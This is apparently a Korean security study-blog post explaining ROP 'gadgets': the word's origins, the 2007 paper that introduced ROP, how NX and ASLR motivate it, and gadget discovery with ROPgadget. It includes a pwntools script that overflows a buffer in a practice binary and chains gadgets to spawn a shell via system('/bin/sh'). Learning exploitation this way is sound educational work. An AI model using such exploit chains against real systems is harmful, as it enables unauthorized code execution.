Study/System

가젯(Gadget)

imaginefuture-1 2025. 2. 24. 14:55

🔍 가젯(Gadget)의 유래 & 어원

"가젯(Gadget)"이라는 단어는 **기계 장치나 도구(tool)**를 의미하며,
작고 유용한 도구라는 뜻에서 유래했습니다.

💡 하지만, 보안(해킹)에서 "가젯(Gadget)"이란?

  • Return-Oriented Programming(ROP) 기법에서
    기존 바이너리 안에 있는 **작은 코드 조각(Instructions)**을 의미함.
  • 해커들이 새로운 코드를 삽입하지 않고,
    이미 존재하는 코드 조각을 조립하여 원하는 기능을 수행하는 데 사용됨.

📖 1️⃣ 가젯(Gadget)이라는 단어의 어원

  • "Gadget"은 **19세기 말(1886년경)**부터 사용된 단어.
  • 어원은 확실하지 않지만, 몇 가지 설이 있음.

💡 가젯(Gadget)의 어원 설

어원 설명

프랑스어 "gâchette" 🔫 총기류의 "방아쇠"를 의미함 (작지만 중요한 부품).
프랑스어 "gaget" 🏗️ 엔지니어링에서 작은 도구를 의미함.
군사용 도구 ⚙️ 19세기 말 영국과 미국에서 군사 장비의 소형 부품을 "가젯"이라 부름.

💡 즉, "Gadget"은 작지만 유용한 도구를 의미하며,
ROP에서 작은 코드 조각을 의미하는 단어로 확장됨.


🚀 2️⃣ 가젯(Gadget)이 해킹 용어로 쓰이게 된 이유

✅ 보안(해킹)에서 "가젯"이란?

**Return-Oriented Programming(ROP)**이 등장하면서,
기존 바이너리에서 **작은 코드 조각(Instructions)**을
"레고 블록처럼" 조합하는 기법이 생김.

💡 기존 보안 기법(NX, ASLR)을 우회하려면?
스택에서 코드를 직접 실행할 수 없기 때문에
기존 바이너리에서 작은 코드 조각을 찾아 재활용해야 함.

👉 그래서 "가젯(Gadget)"이라는 단어가 사용됨!


🛠️ 3️⃣ "가젯(Gadget)"이 처음 등장한 논문

ROP 기법과 "가젯" 개념을 공식적으로 소개한 논문
📜 Shacham, Hovav. "The Geometry of Innocent Flesh on the Bone: Return-into-libc without Function Calls (on the x86)."
📅 Proceedings of CCS 2007 (Computer and Communications Security Conference), 2007.

🔹 이 논문에서 Return-Oriented Programming(ROP) 개념을 소개하며,
"Gadget"이라는 용어를 처음 사용.


📌 4️⃣ "가젯(Gadget)" 개념이 확장된 이유

1️⃣ 메모리 보호 기법 강화 (NX, ASLR) → 스택에서 직접 쉘코드를 실행할 수 없음.
2️⃣ 해커들은 새로운 코드를 삽입하는 대신, 기존 코드 조각을 조립해야 했음.
3️⃣ 그래서 "가젯(Gadget)" 개념이 생기고, ROP 공격이 발전.
4️⃣ 지금은 ROP 외에도 JOP(Jump-Oriented Programming), COP(Call-Oriented Programming) 등으로 확장됨.


🔚 결론

✅ "Gadget"이라는 단어는 프랑스어 "gâchette"(방아쇠)에서 유래.
✅ 원래는 작은 기계 장치를 의미했지만,
해킹(ROP)에서는 작은 코드 조각(Instructions)을 의미하게 됨.
기존 보안 기법(NX, ASLR)을 우회하기 위해 가젯이 활용됨.
2007년 논문에서 "Gadget" 개념이 공식적으로 등장.


💡 즉, "가젯"은 작은 기계 장치에서 유래했지만,
🛠️ 보안에서는 작은 코드 조각을 의미하게 된 것! 🚀

 


 

🔍 가젯(Gadget)이란?

가젯(Gadget)은 **ROP(Return-Oriented Programming)**에서 사용되는 **작은 코드 조각(Instructions)**입니다.
바이너리 안에 이미 존재하는 기계어 명령어들을 조합하여 해커가 원하는 동작을 수행하는데 사용됩니다.


🚀 "가젯"이 등장한 이유: 메모리 구조 & 보안 기법

💡 과거에는 해킹할 때 직접 쉘코드를 스택에 올려 실행하면 됐음.

  • 하지만 요즘은 NX(Non-Executable) 보호 기법 때문에 스택에서 실행이 막혀 있음.
  • 즉, 해커가 직접 코드를 스택에 넣어도 실행할 수 없음.

💡 그래서 해커들이 기존의 코드 조각(가젯)을 조합해서 원하는 동작을 만들게 됨!

  • 프로그램 안에 이미 존재하는 명령어(가젯)를 활용하면, 새로운 코드를 삽입할 필요 없이 원하는 동작을 수행 가능함.
  • 결국 **메모리의 한계성 & 보안 기법(NX, ASLR 등)**을 우회하기 위해 나온 개념!

🏗️ 1️⃣ 가젯을 건물 공사(레고 블록)로 비유하기

✅ 가젯 = 작은 블록, 전체적인 동작 = 완성된 건물 🏗️

  • 가젯(Gadget)은 **"한 줄짜리 기계어 코드"**라고 보면 됨.
  • pop rdi; ret 같은 간단한 명령어 하나가 가젯.
  • 여러 개의 가젯을 조합하여 큰 동작을 만들 수 있음. (ex. system("/bin/sh") 실행)

💡 건물 짓기 vs ROP 공격 비교

🏗️ 건물 공사 🖥️ ROP 공격

벽돌(레고 블록)을 조립해서 건물을 만든다 가젯을 조합해서 ROP 체인을 만든다
새로운 재료(벽돌)를 직접 만들기 어려움 NX 보호 때문에 새로운 쉘코드를 넣을 수 없음
이미 있는 재료(벽돌)를 잘 활용해야 함 프로그램에 존재하는 가젯을 조합해야 함

🛠️ 2️⃣ 가젯의 실제 예제

✅ 가젯(Gadget)이란?

가젯은 일반적인 프로그램 코드의 작은 조각입니다.

💡 예제: pop rdi; ret 가젯

0x401565: pop rdi; ret

이 가젯은:

  1. 스택에서 값을 가져와 rdi 레지스터에 저장 (pop rdi)
  2. 리턴 주소로 점프 (ret)

이런 간단한 가젯을 조합하여 원하는 동작을 수행 가능!


🔍 3️⃣ 가젯 찾는 방법

💡 해커들은 ROPgadget 툴을 사용하여 프로그램 안에서 쓸 수 있는 가젯을 찾음.

ROPgadget --binary ./chall | grep "pop rdi"

출력 예시:

0x401565 : pop rdi; ret

🔹 이걸 활용하면?

  • rdi 레지스터에 /bin/sh 문자열 주소를 넣고 system()을 실행 가능! 🚀

💡 4️⃣ 가젯을 조합해서 공격하는 과정

✅ 가젯 활용 ROP 공격

목표: system("/bin/sh") 실행해서 쉘 획득!

from pwn import *

elf = ELF("./chall")
p = process("./chall")

# ROP 가젯 & 필요한 함수
pop_rdi = 0x0000000000401565  # pop rdi; ret
system = elf.symbols['system']
bin_sh = 0x4020c4  # "/bin/sh" 문자열 주소
ret = 0x000000000040101a  # 스택 정렬용 ret 가젯

# ROP 페이로드 생성
payload = b"A" * 24  # BOF 발생
payload += p64(pop_rdi)  # pop rdi; ret
payload += p64(bin_sh)  # "/bin/sh" 주소
payload += p64(ret)  # 스택 정렬 맞추기
payload += p64(system)  # system("/bin/sh") 실행

p.sendline(payload)
p.interactive()

📌 위 코드의 핵심:

  1. BOF로 리턴 주소를 덮음
  2. pop rdi; ret 가젯을 사용하여 rdi에 /bin/sh 주소 설정
  3. system() 실행하여 쉘 획득!

🚀 5️⃣ 가젯이 왜 필요한가? (메모리 구조 & 보호 기법)

💡 보안 기법(NX, ASLR 등) 때문에 직접 코드 실행이 어렵기 때문!

보호 기법 설명 해결 방법

NX(Non-Executable) 스택에 있는 코드를 실행하지 못하게 막음 ROP를 이용하여 가젯을 실행
ASLR(Address Space Layout Randomization) 메모리 주소를 랜덤화하여 보호 PLT, GOT, 가젯을 활용

🔚 결론

가젯(Gadget)이란?

  • 프로그램 내 기존 코드 조각을 재사용하여 해커가 원하는 동작을 수행하는 방법.
  • 메모리 보호 기법(NX) 때문에 등장한 개념.
  • 여러 개의 가젯을 조합하여 ROP 공격을 실행.

왜 가젯을 써야 할까?

  • 스택에 쉘코드를 삽입해 실행하는 방법은 NX 보호 때문에 불가능.
  • 이미 존재하는 코드를 조합하여 보안 기법을 우회할 수 있음.

ROP 가젯을 이용한 해킹 과정

  1. 버퍼 오버플로우(BOF) 발생하여 리턴 주소 덮기
  2. 가젯을 조합하여 system("/bin/sh") 실행
  3. 쉘 획득!

💡 결론적으로, 가젯은 "메모리의 한계를 극복하고 보안 기법을 우회하기 위한 도구"라고 보면 됨!
🚀 이제 ROPgadget을 활용해서 직접 가젯을 찾아보세요! 😆

 

 

'Study > System' 카테고리의 다른 글

ROP(Return-Oriented Programming)  (0) 2025.02.24
ret(return) 가젯  (0) 2025.02.24
RWX메모리를 만드는 mprotect(), mmap()  (1) 2025.02.22
GOT(Global Offset Table)  (0) 2025.02.18
보호 기법(Exploit Mitigation)  (0) 2025.02.18